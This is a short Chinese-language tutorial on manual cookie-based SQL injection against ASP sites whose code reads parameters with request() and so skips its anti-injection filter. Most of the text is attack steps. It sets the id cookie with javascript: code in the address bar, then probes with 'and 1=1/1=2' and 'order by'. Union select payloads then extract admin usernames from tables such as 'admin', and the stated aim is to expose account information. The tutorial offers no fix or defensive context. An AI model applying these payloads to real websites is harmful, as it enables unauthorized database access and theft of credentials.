cookie 注入的原理其实并不复杂。学过 ASP 语言的应该都知道,在 ASP 中 例如:
id=request.querystring(ID);
id=request.form(ID);
在正常情况下程序员应该按以上规范进行代码的编写,但是部分程序员,为了方便却将代码写成了如下格式:
id=request(ID);
虽然此时也加了防注入程序。但是,防注入程序并不支持基于 cookie 提交的数据。而此时代码由于接受任何提交方式,从而导致了 cookie 注入的产生!下面我来简单演示下 cookie 手工注入的过程。
首先,我们在存在 cookie 注入的页面,按其正常地址进行一次完整的访问。完整访问是为了收集其 cookie。
接着,我们使用 JS 代码在地址栏将原先的地址替换为如下代码:
javascript:alert(document.cookie=”id=”+escape(“26”));
这句话的意思是修改之前正常页面的 cookie 值。注意:escape 内的数值必须与 ID 值相同,同样 id 参数也必须需原地址名保持一致!
当我们回车后页面反弹回 JS 弹框,并显示了 id=26,说明我们已经修改了 cookie。
此时,我们打开一个新页面,将之前存在注入的页面地址拷贝到地址栏。注意:这里将后面的 id 参数去除后,再进行访问!如图。页面如果依然返回正常,则说明 cookie 修改成功!
下面我们就可以按正常的思路,来测试其是否真正存在注入。我们回到之前已被我们成功修改 cookie 的页面!然后我们就可以通过简单的注入语句,来判定注入的存在与否:
and 1=1
and 1=2
注:这里的语句要加在 JS 语句的 ID 值后!
在证明确实存在注入后,我们就可以开始猜它的列数了:
order by xx
直到页面返回正常!
在猜出列数后,我们就可以来继续猜解表名。
javascript:alert(document.cookie=”id=”+escape(“26 union select 1,2,3,4,5,6,7,8,9,10 from manage”));
得到表名后,我们继续进行列名的猜解。
javascript:alert(document.cookie=”id=”+escape(“26 union select 1,2,3,4,5,username,7,8,9,10 from admin”));
当我们猜解的表名列名均为正确时,我们就可以在页面爆出其账户信息!